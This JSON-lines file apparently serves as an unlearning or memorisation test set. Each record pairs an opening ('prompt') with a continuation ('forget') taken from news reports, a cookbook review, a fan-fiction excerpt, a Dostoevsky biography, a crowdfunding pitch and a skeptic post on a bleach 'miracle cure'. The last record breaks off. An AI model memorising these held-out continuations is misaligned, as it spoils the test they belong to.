{"prompt": "Paul Kimmage on rugby was the main talking point from the Sunday Independent journalist's appearance on The Last Word with Matt Cooper. Days after L'Equipe broke the news that Dan Carter, Juan Imhoff and Joe Rockocoko had tested positive for cortisone after the Top 14 final, the issue of doping in rugby has found itself back upon the wider sporting consciousness. In the case of Carter, his agent released a statement to say that the out-half had a Therapeutic Use Exemption for the supplement. The entire story has brought the medicalisation of rugby under scrutiny. Ronan O'Gara offered a strong", "forget": "defence of his Racing players, saying that it was a \"sad state of affairs\" that his players were attacked based on such little information: I've been in the meetings and I'm fully aware of exactly what's gone on. There's 60-80 of these administered in a year - an injection into a joint - and that's exactly what it is. Every player gets tested after a final, that's the rule. And there were three readings showing a corticoid and the readings are extremely low. And if you have an explanation as to why you administered them then it's a non-story. Kimmage is one of the few journalists who regularly returns to the topic of the medicalisation of rugby. In 2014, Kimmage conducted a very interesting interview with former French rugby player with Laurent Benezech on this very subject. And following the Racing revelations, Kimmage wrote in the Sunday Independent of the nature of cheating in rugby, and what exactly constituted a performance-enhancing drug in the game. He recalls a conversation with Brian O'Driscoll as to whether pre-game painkillers constituted a doping offence. Advertisement \"I'd say the abuse of painkillers in rugby is massive,\" I observed. \"I would have thought that was very much a doing offence. \"Would you?\", he asked. \"Painkillers? Of course. The whole game is about confrontation and trying to get the ball. So if I can endure more pain than you...\" \"I disagree\", he said. \"It's a game of skill. It's a game of intensity and an ability to handle collisions and things...\" \"Which is pain\", I suggested. Prior to Kimmage's appearance with Cooper, Paul O'Connell was on the show, who said that Kimmage was of the belief that \"[he thinks] you should not even take a paracetamol\". Kimmage responded as follows: He totally misrepresents my position on"}
{"prompt": "Web design has certainly come a long way since the first HTML files were published, and Cascading Style Sheets have given designers lots of freedom to specify typefaces, sizes, and styles for text. But most type on the Web is still limited to the 10 common \"Web fonts\" commissioned and distributed by Microsoft in the late 90s. Web designers and developers have done their best to work within these constraints, and even developed clever workarounds using images, Flash, and/or JavaScript. A number of solutions have been proposed which would let developers use their preferred fonts directly, but getting everyone involved", "forget": "on the same page, so to speak, has revealed a morass of competing needs. Web designers want to be able to design websites using just the right typefaces\u2014something that they can do with relative ease when working in print and other non-Web media. Browser vendors want to implement widely adopted standards so webpages render as well in one browser as they do in another. Type designers and font foundries want to make sure their font files aren't trivially easy to download, especially since fonts are already often pirated. Current tools Web designers have over a decade of experience using CSS to specify what fonts should be used when displaying a webpage. While a designer can specify any font by name, there's no guarantee that the viewer has that particular font installed. Thankfully, CSS allows designers to specify fallback fonts, and the browser will essentially go through the list specified in the stylesheet until a match is found among the installed fonts. CSS even allows a generic fallback such as \"serif\" or \"fixed-width,\" and the browser will use whatever fonts are specified in its preferences for each of these generic classes. Microsoft also decided to help by creating a set of fonts that it hoped would be widely distributed with operating systems. Known as the core \"Web fonts,\" these are included with Windows and Mac OS X, and they are freely downloadable for Linux. These typefaces were specifically designed for screen use, and have since become the most commonly used type on the Web. The collection includes 10 typefaces: the popular Verdana and Georgia, reworked versions of Times and Courier, Trebuchet MS, Andale Mono, Impact, the Helvetica-esque Arial (the default for Ars text), the Webdings dingbat font, and the generally-reviled Comic Sans. While the collection is certainly serviceable\u2014especially Verdana and Georgia\u2014it"}
{"prompt": "Mr Putin , who was re-elected as president almost a year ago, stands accused of bringing in new laws to stifle criticism of his regime and adapting existing laws to silence dissent. \"The Russian government has unleashed a crackdown on civil society unprecedented in the country's post-Soviet history,\" the HRW report states. \"The authorities have introduced a series of restrictive laws, harassed, intimidated and in several case imprisoned political activists, interfered in the work of NGOs and sought to cast government critics as clandestine enemies.\" In a move that Amnesty described as \"deliberately reminiscent of the Cold War,\" Mr Putin", "forget": "has brought in a new law which requires any organisation that receives funding from abroad to describe themselves as \"foreign agents\" if they are considered to be involved in undefined \"political activities\". Since the start of the year, the Russian authorities have carried out more than 200 inspections of organisations campaigning to protect human rights. Amnesty's Moscow office was \"inspected\" by prosecutors and tax inspectors on 25 March. The first organisation to face legal proceedings is a group named Golos \u2013 or \"voice\" in Russian \u2013 which played a prominent role in organising election monitoring and reporting fraud in the vote which saw Mr Putin re-elected. In several cases the inspectors demanded to go through computers or emails. In one case, officials demanded that an organisation prove that its staff had been vaccinated for smallpox, and in another the officials asked for chest X-rays of staff to ensure they did not have tuberculosis. \"The government claims the inspections are routine, but they clearly are not,\" said Hugh Williamson, Europe and Central Asia director at HRW. \"The campaign is unprecedented in its scope and scale, and seems clearly aimed at intimidating and marginalising civil society groups. This inspection campaign can potentially be used to force some groups to end advocacy work, or to close them down.\" Another law, adopted in December, essentially banned funding emanating from the United States for \"political\" activity by non-governmental organisations, and bans groups whose work is \"directed against Russia's interests.\" A third law, the treason law, expands the legal definition of treason in ways that could criminalise involvement in raising awareness of human rights. The publication of the reports comes at a time of mounting pressure for Mr Putin. On Wednesday \u2013 the same day the report was launched in Moscow \u2013 a high-profile critic of"}
{"prompt": "And pretty much every spread shows underlying techniques and tricks you likely never thought of. For instance, a simple quinoa salad with cauliflower--it just requires a pressure cooker, and it's really fast--it takes just four minutes of cooking for the quinoa, something that never occurred to me to try, and includes the tip of freezing a baking sheet to cool the cooked grain for the salad. And cauliflower is rendered palatable (i.e., invisible) to doubters by being shaved over a mandoline or grated on a Microplane grater, mixed with green apple, celery, pine nuts, currants, and a hone-vinegar and lemon", "forget": "dressing. Easy, right? And good for winter. And not what you'd expect from this book. Some of the techniques that will likely change your own regular practices include \"low-temp oven steak,\" which involves first freezing steaks or any other tender cut of meat, quickly searing them, then putting it into the oven at the lowest temperature until a digital thermometer reads 133 F (or your desired degree of doneness). This, Myhrvold explains, yields meat that's evenly done to exactly the degree you want, rather than meat with an overdone exterior and underdone dead-center. And there are unexpected forays, such as deconstructed carnitas that just require a pressure cooker and provide incidental lessons in braising meat, which the authors extend on the next pages to other braised recipes: steamed omelets that, like the frozen-then-low-temp steak, result in a completely uniform doneness and texture that the authors assure us is tender and delicate, as well as braised short ribs that, of course, require a sous-vide setup, the $300-or-so vacuum-bag and controlled water-bath machine that started being a foodie must last year--and a set-up, on a larger scale, that most restaurant cooks routinely use for short ribs, though they almost always fail to say so. I still think you should go into debt to get the six-volume set--but that's just for hardcore cooks who want an invaluable reference. This is the book for anyone who wants to understand her or his kitchen better, and have a taste of what all the controversy over sous-vide and xanthan gum has been about. Burma: Rivers of Flavor, by Naomi Duguid Naomi Duguid, a tireless wanderer, a photographer with marvelous eye, and a teacher of cooking classes in Chiang Mai, Thailand, has a deep knowledge of Asia from her decades of chronicling and writing about village food"}
{"prompt": "Throughout 2012, The Caucus will occasionally pose five questions to individuals from across the political spectrum who have special insight into government, policy making and political combat. If there is someone you think should be interviewed, let us know in the comment section below, or send me an e-mail at michael.shear@nytimes.com. This week\u2019s subject is Jill Stein, a candidate for the Green Party\u2019s presidential nomination. Ms. Stein, a former physician and teacher of internal medicine, writes and speaks about the connections between the environment and health. She ran for governor of Massachusetts in 2002 against Mitt Romney. Q. Why are", "forget": "you running for president? Michael Manning/Associated Press A. We are in crisis and people are losing their jobs and their homes and their health care and affordable higher education and civil liberties. You name it, they are losing it. We have got a 1 percent that\u2019s rolling in dough as much as ever and the political establishment is not fixing it. The establishment got us into this mess, in both parties. And that\u2019s clear as day. Over 10 years, I have been a recalcitrant political challenger, a recurrent alternative that would not go away. Q. Is your campaign trying to tap into the Occupy movement? A. Occupy is very much a part of a broader move for democracy and economic and social justice. That is alive and well around the world. Just look at what is going on in Wisconsin which is directly linked to Occupy. It doesn\u2019t have the name of Occupy, but they slept for three weeks in the statehouse. If that\u2019s not Occupy, what is? The Occupy movement, beneath the surface, represents a political coming of age of a younger generation who have been on the receiving end of a generally exploitative economy. One of those groups to exploit has been young people. They have been exploited in education. The unemployment crisis hits them the hardest. They are bearing the burden for the climate disruptions that are coming down the pike. Q. Does President Obama deserve credit for health care and other accomplishments? A. Small time, sure. There are minor improvements. But on the other hand, he took single-payer off the table. He absolutely took a public option off the table. As we found on issue after issue \u2014 the war, reappointing George Bush\u2019s secretary of defense, sticking to George Bush\u2019s timeline on Iraq, expanding the war,"}
{"prompt": "The killer whales trapped in the ice in northern Quebec appear to have left the area, but they may not be out of harm's way yet. Lyne Morissette, a marine researcher with the St. Lawrence Global Observatory, said the ice can move quickly, and while a split in the ice opened a pathway for the whales, the orcas are still inside the ice-covered Hudson Bay. \"This is not a victory yet,\" she said. Marine mammal researcher Lyne Morrisette said warmer than usual sea temperatures probably confused the orcas into thinking it was safe to stay in Hudson Bay. According to", "forget": "Morissette, the whales still have over 100 kilometres to travel before they are in the open waters of the North Atlantic Ocean. She said they may be able to survive in Hudson Bay for the winter, but it won't be easy. If the whale pod doesn't make it, she said it would be a significant loss for the northern whale population. On Wednesday, residents of an Inuit village called for the government's help to save a dozen killer whales trapped in the ice about 30 kilometres off the coast of Inukjuak, Que. The orcas were spotted Tuesday, 30 kms from Inukjuak, Que. The orcas were spotted at a breathing hole at the eastern top of Hudson Bay. When two hunters, Jobie Epoo and Jamisee Weetaluktuk, went to check the ice before 8 a.m. ET on Thursday, they discovered the whales were gone. They called the local radio station to let them know the orcas were out of sight. A group of 22 local men had been getting ready to go out to the site and see what they could do to help the whales reach open water. Epoo said the plan was to make that hole larger and create another hole about 45 metres away, by sawing and drilling in the ice. \"It was a very dangerous area,\" Epoo said. \"We're talking about flowing ice, moving ice \u2014 continuously, constantly moving ice \u2014 and depending on the time of the month, you never know when the ice is going to decide to go.\" Inuit elders credit new moon Inukjuak Mayor Peter Inukpuk said elders in the community credit the new moon for current changes that split the ice and opened a pathway for the whales. The patch of water in the ice on Hudson Bay, where a pod of killer"}
{"prompt": "For six months, Hillary Clinton\u2019s campaign has approached the nomination along two distinct, nearly opposite tracks: with an operation focused on the Democratic primary \u2014 and a message built to contrast almost exclusively with Republicans. At her town halls and rallies, Clinton only rarely mentions her Democratic opponents and compares her policies with theirs. Her focus remains on the other party. But on the eve of the first Democratic debate, one of the candidate\u2019s most trusted defenders, linked formally to the campaign through a coordinated super PAC, is set to sharply outline the case to progressives for Clinton \u2014 and", "forget": "against Sen. Bernie Sanders. David Brock, the conservative-turned-liberal who has become a central player in the frontrunner\u2019s campaign, will deliver a speech on Monday in San Francisco that casts Clinton as a lifelong progressive with the best platform, rooted in achievable proposals and decades of service to the Democratic Party at every level. Brock\u2019s speech does not mention Sanders by name, according to an advanced copy provided by his pro-Clinton research group, Correct the Record. But his point is clear enough. The pre-debate appeal is a kind of tour through Clinton\u2019s strengths \u2014 undergirded throughout by allusions to Sanders, the Vermont socialist polling competitively with Clinton, and to his likely weaknesses as a nominee. One by one, his speech runs through each implicit contrast. There\u2019s Clinton, the \u201cstrongest possible messenger for a progressive vision.\u201d (And Sanders, the impractical nominee.) Clinton, the candidate with \u201creal plans that work.\u201d (And Sanders, with larger proposals that would likely fail in Congress.) Clinton, the Democrat who claims a \u201cbroad coalition\u201d inside a party \u201cshe\u2019s spent three decades building\u201d \u2014 many, Brock adds, from the Senate seat occupied by Democratic icon Robert F. Kennedy. (And there's Sanders, the registered Independent who, until this summer, had never attended a party-wide meeting.) \u201cHillary is the real progressive champion in this race,\u201d Brock will tell the crowd on Monday afternoon at the Commonwealth Club of California, citing what he calls her \u201cambitious, specific, and realistic plans\u201d to raise incomes and tackle problems like college affordability, mass incarceration, and immigration. \u201cHillary isn\u2019t moving in a progressive direction. She\u2019s been there all along,\u201d Brock will say. Clinton, too, has argued while campaigning this year that her \"record of standing up and fighting for progressive values\" takes a \"backseat to no one.\" (Last month, however, Clinton said she pleaded \"guilty\" to"}
{"prompt": "As millions celebrate Easter, I need to ask my fellow Christians to wake up to the terrible fact that far too many LGBT youth are being abused and rejected in Christian homes. Many conservative Christians are increasingly preoccupied with fighting against the equal treatment of LGBT people in our society. And no one suffers more harm from this fight and the intolerant climate it creates than the LGBT children of too many of these Christians. As the director of the Ali Forney Center, the nation's largest organization providing housing and support to homeless LGBT youths, I see the reality of", "forget": "this harm in the faces of the thousands of desperate and frightened teens who turn to us for help after being driven from their homes and reduced to homelessness. The stories these youth tell us about the religion-based abuse they endure from their parents are heartbreaking and deeply disturbing. I think about the 15-year-old boy from rural Delaware whose father, a minister in the Church of the Nazarene, attacked him when told his son was gay, tried to strangle him, and then immediately banished him from their home. Or the 17-year-old girl whose Pentecostal parents drove her out into the back woods of New Jersey and tossed her out of the car. I think of the 16-year-old boy from Connecticut whose Catholic mother, upon learning he was gay, called a priest who made him lay the floor and attempted to \"drive the demons out of him.\"Or the boy from New Hampshire whose Baptist parents told him that God is so disgusted by homosexuals that he \"vomits them out.\" Again and again we hear young people tell us tales of torment and abuse in their homes. Told that they are disgusting, that they are sinners, that they are abominations. Made to hate themselves. Made to wish that they were dead. In recent weeks, I have filmed several of the young people who receive care at the Ali Forney Center talking about the religious abuse and family rejection they endured in their Christian homes. The stories they tell of physical and verbal abuse and the destructive toll taken on their young selves are very hard to hear, but it is important that we listen. A recent study by the Family Acceptance Project on the impact of family rejection of LGBT youth found that parents who identify as \"strongly religious\" were significantly more"}
{"prompt": "The Toronto Transit Commission might be \"The Better Way,\" but is it the safer way? TTC property is fitted with numerous safety features--CCTV, security mirrors, public telephones, intercoms, and designated waiting areas--and the new streetcars, which begin rolling out this weekend, will come with the same yellow Passenger Assistance Alarms found on the subway. Despite the security, crime still occurs, but how safe is the TTC compared to other transit systems? The TTC keeps a record of offences against customers and staff--assaults, thefts, sexual assaults that involved police attention--and publishes the numbers in the monthly CEO's report. Over the last", "forget": "12 months, there were 413 recorded offences against customers and 398 against TTC staff, a total of 811 incidents in roughly 528 million trips. The odds of experiencing a crime on the TTC were about 667,000 to 1. The numbers average out to about 2.22 incidents a day, about evenly split between riders and workers. Customer incidents peaked at 42 in July 2014, 43 for staff in Oct. 2013, but the numbers remained relatively stable throughout the year. Compare those numbers with the Montreal transit system, where, in 2013, there were a total of 754 criminal code infractions from 412.6 million trips reported to transit police, an average of 2.07 incidents a day, odds of about 476,000 to 1. Another report, released April, showed an overall 20 percent decrease in criminal activity on the Metro, but singled out one hub, Berri-UQAM, as the most dangerous. Crimes against people: assault, robbery, sexual assault were most common (303 incidents,) edging out property crimes, like theft and robbery (279.) Other criminal code infractions, including prostitution, accounted for the remainder. On the Calgary C-Train, there were a total of 856 person, property, and other criminal code infractions in 2013 from 107.5 million rides, an average of 2.34 incidents a day. Like in Montreal, person crimes were the most common (259,) but property crimes (221) saw the biggest increase--up 31.5 percent from 2012. Odds of a crime occurring in 2013 were 12,500 to 1. Cops on Boston's Massachusetts Bay Transportation Authority recorded a total of 718 criminal incidents on the city's various transit lines in 2013 from 352.6 million rides. Compared to the first six months of 2014, there was a 28 percent decrease in robberies, but a 38 percent increase in aggravated assault. Larceny accounted for the majority of police activity. Across the year,"}
{"prompt": "The youngest person arrested was 13. All of the kids were handcuffed, cursed at and humiliated, and several spent 30 hours or more in jail. To date, there has been no evidence produced \u2014 no witnesses, no photographs or videotapes, no dented vehicles or broken mirrors, nothing whatsoever \u2014 to indicate that any of the youngsters had done anything at all that was wrong. How is it that you can have a rampage in broad daylight on a street in New York City and not be able to show in any way that the rampage occurred? Photo At least 22", "forget": "of the 32 people arrested have had their charges dismissed or were never formally charged at all. No one has been convicted of anything. The case against 18-year-old Zezza Anderson was dropped last month after his lawyer, Ron Kuby, filed a motion demanding that Mr. Hynes\u2019s office produce documentary evidence of the youngsters misbehaving. No evidence was produced. Instead, an assistant district attorney moved to have the charges against Mr. Anderson dismissed, acknowledging that the case against the defendant could not be proved. I\u2019d like to know why, after the better part of a year, the authorities are still tormenting some of these kids. Why are charges still hanging over 10 of them? Why should it take more than nine months to resolve charges of unlawful assembly and disorderly conduct? Newsletter Sign Up Continue reading the main story Please verify you're not a robot by clicking the box. Invalid email address. Please re-enter. You must select a newsletter to subscribe to. Sign Up You will receive emails containing news content , updates and promotions from The New York Times. You may opt-out at any time. You agree to receive occasional updates and special offers for The New York Times's products and services. Thank you for subscribing. An error has occurred. Please try again later. View all New York Times newsletters. A number of the kids have missed days at school to show up for court dates at which nothing of consequence happens. Asher Callender, a senior at Bushwick Community High School, had to go to court on Friday, only to have his case postponed again until March 3. These are not gangsters. These are not drug dealers. These are kids who were trying to go to a wake for a friend. It was not the kids who were out of"}
{"prompt": "While team RWBY meandered through Vale, Weiss felt\u2026 jealous. Jealousy was not a feeling that someone such as Weiss should feel, she knew that, it was\u2026 beneath her to feel that petty. That she shouldn't feel that way just because her partner spent less and less time with her. That she had been replaced. I don't get it, Weiss watched Ruby lead Blake into an arcade, I thought we were partners, ergo close friends? It made sense to her. Your partner is the person you are closest to, but I don't feel close to Ruby at all anymore. When their", "forget": "first semester had started, Ruby and her were more or less, well, inseparable. Not that Weiss hadn't tried to separate herself from Ruby; it got more than a bit too much for her sometimes having the younger teen constantly trying to interact with her. Looking back at it, as much as Weiss had found Ruby to be annoying it was still nice. It was nice to have someone who genuinely wanted to be your friend and not because of your name. Towards the end of the last semester, it felt like that closeness was slowly receding as Ruby spent less and less time with Weiss and more with another one of their teammates; Blake. It was little surprise to Weiss that Ruby knew about Blake's\u2026 heritage, given the amount of time the two had spent together. What did surprise Weiss was the fact that Blake had stayed with Ruby and Yang over the semester break. No, that's not quite right, it didn't surprise me, it also hurts. Her teammates, no, her friends, spent the break together. Without her. Weiss felt alone. At first Weiss had assumed she was feeling needy, that she was perhaps being a bit too harsh on Ruby when they studied and that was what was pushing her partner away. During the break, Weiss had made a promise to fix whatever\u2026 issue had come up, to reconnect with her partner. Yet Weiss felt more alone than ever, her partner was off with Blake, almost entirely ignoring her. I suppose I have been replaced. Weiss let out a sigh. Did I screw up? Was it something I did? Or perhaps Blake is just better than me? No, that wasn't the case. Weiss knew the answer all too easily; Ruby had a crush on Blake. Ruby could never be"}
{"prompt": "OSAKA, Japan / PALO ALTO, Calif. \u2014 Panasonic Corporation and Tesla Motors today announced that the two companies have reached an agreement in which Panasonic will expand its supply of automotive-grade lithium-ion battery cells to Tesla. With this agreement, the two companies update and expand their 2011 arrangement to now supply nearly 2 billion cells over the course of four years. The lithium-ion battery cells purchased from Panasonic will be used to power the award winning Model S as well as Model X, a performance utility vehicle that is scheduled to go into production by the end of 2014. This", "forget": "agreement builds upon a multi-year collaboration between Panasonic and Tesla to develop next-generation automotive-grade battery cells and accelerate the market expansion of electric vehicles. Panasonic\u2019s cells combined with Tesla\u2019s proven EV battery expertise have already enabled more than 130 million customer miles driven in Tesla Roadsters and Model S. \u201cThis expanded agreement with Panasonic is important to Tesla as we continue to increase the pace of production,\u201d said Tesla Co-Founder and CEO Elon Musk. \u201cWe look forward to strengthening our relationship with Panasonic, and I\u2019m confident that this partnership will continue to be an integral part of Tesla\u2019s success for years to come.\u201d Together, Panasonic and Tesla have developed a next-generation battery cell technology that provides the highest energy density and best performance cells in the market. Panasonic\u2019s cylindrical cell is a customized technology designed specifically for optimizing electric vehicle quality and life. These cells are integrated by Tesla into the battery pack in a way that enables an industry-leading range of approximately 265 miles for the Model S. \u201cWe are extremely proud to be a strategic partner of Tesla,\u201d said Yoshihiko Yamada, president of the Automotive & Industrial Systems Company, an internal company of Panasonic. \u201cPanasonic will increase its production capacity of lithium-ion battery cells to supply Tesla\u2019s growing needs as it expands its production of EVs.\u201d ABOUT PANASONIC Panasonic Corporation is a worldwide leader in the development and engineering of electronic technologies and solutions for customers in residential, non-residential, mobility and personal applications. Since its founding in 1918, the company has expanded globally and now operates over 500 consolidated companies worldwide, recording consolidated net sales of 7.30 trillion yen for the year ended March 31, 2013. Committed to pursuing new value through innovation across divisional lines, the company strives to create a better life and a better world"}
{"prompt": "GRINNELL, Iowa (CNN) -- The college student who was told what question to ask at one of New York Sen. Hillary Clinton's campaign events said \"voters have the right to know what happened\" and she wasn't the only one who was planted. Student Muriel Gallo-Chasanoff said a staffer told her what to ask at a campaign event for Sen. Hillary Clinton. In an exclusive on-camera interview with CNN, Muriel Gallo-Chasanoff, a 19-year-old sophomore at Grinnell College in Grinnell, Iowa, said giving anyone specific questions to ask is \"dishonest,\" and the whole incident has given her a negative outlook on politics.", "forget": "Gallo-Chasanoff, whose story was first reported in the campus newspaper, said what happened was simple: She said a senior Clinton staffer asked if she'd like to ask the senator a question after an energy speech the Democratic presidential hopeful gave in Newton, Iowa, on November 6. \"I sort of thought about it, and I said 'Yeah, can I ask how her energy plan compares to the other candidates' energy plans?'\" Gallo-Chasanoff said Monday night. According to Gallo-Chasanoff, the staffer said, \" 'I don't think that's a good idea, because I don't know how familiar she is with their plans.' \" Watch the student speak out about question \u00bb He then opened a binder to a page that, according to Gallo-Chasanoff, had about eight questions on it. \"The top one was planned specifically for a college student,\" she added. \"It said 'college student' in brackets and then the question.\" Topping that sheet of paper was the following: \"As a young person, I'm worried about the long-term effects of global warming. How does your plan combat climate change?\" Watch the student ask the planted question \u00bb And while she said she would have rather used her own question, Gallo-Chasanoff said she didn't have a problem asking the campaign's because she \"likes to be agreeable,\" adding that since she told the staffer she'd ask their pre-typed question she \"didn't want to go back on my word.\" Clinton campaign spokesman Mo Elleithee said, \"This is not acceptable campaign process moving forward. We've taken steps to ensure that it never happens again.\" Elleithee said Clinton had \"no idea who she was calling on.\" Gallo-Chasanoff wasn't so sure. \"I don't know whether Hillary knew what my question was going to be, but it seemed like she knew to call on me because there were so many"}
{"prompt": "Ancestry Edit Maria Fyodorovna Dostoevskaya Mikhail Andreyevich Dostoevsky Dostoevsky's parents were part of a multi-ethnic and multi-denominational noble family, its branches including Russian Orthodox Christians, Polish Roman Catholics and Ukrainian Eastern Catholics.[4] The family traced its roots back to a Tatar, Aslan Chelebi-Murza, who in 1389 defected from the Golden Horde and joined the forces of Dmitry Donskoy, the first prince of Muscovy to openly challenge the Mongol authority in the region,[5] and whose descendant, Danilo Irtishch, was ennobled and given lands in the Pinsk region (for centuries part of the Grand Duchy of Lithuania, now in modern-day Belarus) in", "forget": "1509 for his services under a local prince, his progeny then taking the name \"Dostoevsky\" based on a village there called Dosto\u00efevo.[6] Dostoevsky's immediate ancestors on his mother's side were merchants; the male line on his father's side were priests. His father, Mikhail Andreevich, was expected to join the clergy but instead ran away from home and broke with the family permanently. In 1809, the 20-year-old Mikhail Andreevich Dostoevsky enrolled in Moscow's Imperial Medical-Surgical Academy. From there he was assigned to a Moscow hospital, where he served as military doctor, and in 1818, he was appointed a senior physician. In 1819 he married Maria Nechayeva. The following year, he took up a post at the Mariinsky Hospital for the poor. In 1828, when his two sons, Mikhail and Fyodor, were eight and seven respectively, he was promoted to collegiate assessor, a position which raised his legal status to that of the nobility and enabled him to acquire a small estate in Darovoye, a town about 150 km (100 miles) from Moscow, where the family usually spent the summers. Dostoevsky's parents subsequently had six more children: Varvara (1822\u20131892), Andrei (1825\u20131897), Lyubov (born and died 1829), Vera (1829\u20131896), Nikolai (1831\u20131883) and Aleksandra (1835\u20131889).[11] Childhood (1821\u20131835) Edit Fyodor Dostoevsky, born on 11 November [O.S. 30 October] 1821, was the second child of Dr. Mikhail Dostoevsky and Maria Dostoevskaya (born Nechayeva). He was raised in the family home in the grounds of the Mariinsky Hospital for the Poor, which was in a lower class district on the edges of Moscow. Dostoevsky encountered the patients, who were at the lower end of the Russian social scale, when playing in the hospital gardens. Dostoevsky was introduced to literature at an early age. From the age of three, he was read heroic sagas, fairy tales and legends"}
{"prompt": "With a Supreme Court decision on healthcare fast approaching, House Republicans are doubling down on efforts to bring attention to President Obama\u2019s signature legislative issue. The effort, which includes votes on several measures to repeal taxes under the law, is intended to highlight unpopular aspects of the landmark bill as the presidential campaign between Obama and Republican Mitt Romney heats up. ADVERTISEMENT The House next week will consider measures to repeal taxes imposed on medical devices and over-the-counter medication. House Majority Leader Eric Cantor Eric Ivan CantorPelosi warns GOP: Next president could declare national emergency on guns Ousted GOP lawmaker", "forget": "David Brat named dean at Liberty University business school Trump, GOP seek to shift blame for shutdown to Pelosi MORE (R-Va.) announced the votes late last month, and called the tax on medical devices in particularly \u201cdraconian\u201d in a memo sent to GOP lawmakers. Democrats argue the GOP effort is nakedly political and timed for the Supreme Court decision, which is expected this month. On Friday, Romney criticized Obama\u2019s handling of the economy, arguing the nation would be creating more jobs if Obama had not focused on healthcare in 2009 and 2010. Rep. Rob Andrews (D-N.J.) \u2013 a key player in brokering deals within his party to pass the healthcare bill \u2013 called the upcoming debate a \u201cwaste of time\u201d and said the House should be focus on legislation to create jobs. \u201c(The timing) is probably not coincidental, I think the Republicans are trying to poison the well before the Court decision,\u201d Andrews said in an interview with The Hill. House Republicans, who rode a wave of voter outrage into power in 2010 unfurled in part by the healthcare law, dismiss the Democratic arguments. \u201cWell, I'm glad they are giving us that much credit in planning but obviously the medical tax bill has had a lot of bipartisan support for many weeks,\u201d Ways and Means Chairman Dave Camp (R-Mich.) told The Hill. Only two Democrats on the Ways and Means Committee, Reps. Ron Kind Ronald (Ron) James KindSteel lobby's PR blitz can't paper over damaging effects of tariffs Congress should stop tariff power grab, bring balance to US trade policy Ocasio-Cortez sparks debate with talk of 70 percent marginal rate MORE (Wis.) and Shelly Berkley (Nev.) supported the medical device and over-the-counter drug bills at mark-up. Debate at Thursday\u2019s lengthy mark-up provided a flavor of what to expect when the"}
{"prompt": "The great-grandchildren of Anna Short Harrington, the woman whose likeness was used for the \u201cAunt Jemima\u201d logo, are seeking what they say are their just desserts, along with at least $2 billion, in a class action lawsuit brought recently against a group of companies, led by PepsiCo and its subsidiary The Quaker Oats Company, in federal court in Illinois. The suit, which also names as defendants Pinnacle Foods and its former suitor Hillshire Brands, accuses the companies of failing to pay Harrington and her heirs an \u201cequitable fair share of royalties\u201d from the pancake mix and syrup brand that uses", "forget": "her likeness and recipes. According to the lawsuit, Quaker Oats took control of \u201c64 of [Harrington\u2019s] recipes and 22 complete menus\u201d and marketed them to the public. Filed last week by Harrington\u2019s great-grandson, D.W. Hunter, who is representing himself, the lawsuit alleges that Chicago-based Quaker Oats hired Harrington to take over the pre-existing Aunt Jemima role in 1935\u2014a role she continued to serve when the company first registered the brand\u2019s trademark two years later\u2014and that the company also reproduced Harrington\u2019s own pancake recipe on a mass scale. The suit claims that Harrington had entered into a \u201cwritten contractual agreement to play the actress role of Aunt Jemima\u201d that entitled her to royalties, including a percentage of the proceeds, accumulated by the brand over the years. Hunter\u2019s lawsuit accuses the companies of lying to cover up Quaker Oats\u2019 employment of Harrington, adding that the heirs determined they were owed royalties when they say they discovered last October that the company had trademarked the image of their great-grandmother with the U.S. Patent and Trademark Office in 1937 and after they found a death certificate for Harrington that named the company as her employer. Hunter has accused the companies of breach of contract, conspiracy, and fraud, among other charges, while alleging that Quaker Oats engaged in \u201cindustrial espionage\u201d to procure Harrington\u2019s trade secrets before failing to compensate her estate on an annual basis following her death. The lawsuit estimates that Pinnacle has sold roughly $300 million worth of frozen pancakes, waffles, and other products from the Aunt Jemima line without providing Harrington\u2019s family with any royalties. Hillshire (HSH) had agreed to buy Pinnacle earlier this year in a $4.2 billion deal that was later called off to free up the former to be bought by Tyson Foods for $8.6 billion. Hunter\u2019s 108-page complaint"}
{"prompt": "About The Wandering Realms takes place in the universe of the Hyperion Empire following the events of The Exile Empire. After the destruction of the old human civilizations before the Phoenix War billions of humans were displaced into unknown space. After the formation of the Empire from the human - illani alliance a fleet of ships were commissioned to seek out survivors of this conflict and return as many as possible to the Empire. This story follows several exemplary characters as this fleet encounters powerful new enemies and unexpected allies. The Wandering Realms is a story of war, justice, slavery,", "forget": "and trial. This is not a story for the feint of heart, a true heroic war story set in a gritty future full of advanced and powerful weaponry that barely keeps mankind on equal footing with their monstrous enemies. The funds for this project will go to the artist, who has already been secured, production, and distribution of the comic. Excess will help to ensure the project runs smoothly and is properly marketed. We plan to bring The Wandering Realms to comic conventions and events as money and time allow and the more financial resources we can gather the further it will take us. We have access to all the talent and production resources we need. All we need at this point is the initial bank roll and we have a project. It is our sincere hope that you will help us turn this dream into a reality and the Wandering Realms into bookstores and comic stands everywhere. We greatly value our contributors and have a large range of rewards for those who choose to support our project. We are offering everything from a free prequel short story to a thank you phone call and a fictional title of nobility! Pledge $5 or more and we will give you a big thanks on our website, lasting as long as we exist. Given advancing technology and a successful series of projects we plan on this being FOREVER! Pledge $7 or more and you will get the previous reward and a digital download of Lost Daimyo, the short story prequel to the Wandering Realms that explains why the fleet is searching for people in such an inhospitable and dangerous part of space. Pledge $10 or more and you will get the previous rewards plus a digital download of the graphic novel. Pledge"}
{"prompt": "There is an old saying that if something sounds too good to be true, it probably is. I really like this saying because it is a basic principle of skepticism, and it goes hand in hand with a statement that was made famous by none other than Carl Sagan. Namely, \u201cextraordinary claims require extraordinary evidence.\u201d I find that these two principles are broadly applicable to the many \u201cmiracle treatments\u201d and fad diets that pervade the internet, but in this post I am just going to focus on the \u201cMiracle Mineral Solution\u201d (a.k.a. Miracle Mineral Supplement or MMS) as an illustration.", "forget": "Basically, this post is just an exercise in common sense in which I am going to point out some obvious hallmarks of snake oil. What is MMS? To put it simply, it\u2019s bleach. To put it more technically, it is a 28% solution of sodium chlorate which breaks down to release chlorine dioxide, and it is the chlorine dioxide which actually reacts with pathogens (remember this chemical, it is going to show up a lot in this post). To be clear, MMS is not the same type of bleach that is used to clean your house (sodium hypochlorite), but it is nevertheless a type of bleach and is used to bleach various paper, wood, and textile products. This is also one of the chlorines that is sometimes used in very low concentrations to disinfect drinking water. Now, the fact that someone is selling a concentrated bleach solution as a miracle cure should throw up some red flags, but let\u2019s investigate further. After all, the skeptic principle is to demand evidence, not to blindly reject something without looking for evidence. Are its effects plausible? According to the almighty internet, MMS cures pretty much everything. Spiritportal.org states that it \u201cCURES\u201d (their emphasis) \u201cmalaria, AIDs, most cancers, any type of hepatitis, tuberculosis, typhoid, pneumonia, asthma, herpes, HPV, chicken pox, smallpox, measles, influenza (including bird flu), colds, food poisoning, snake bite, 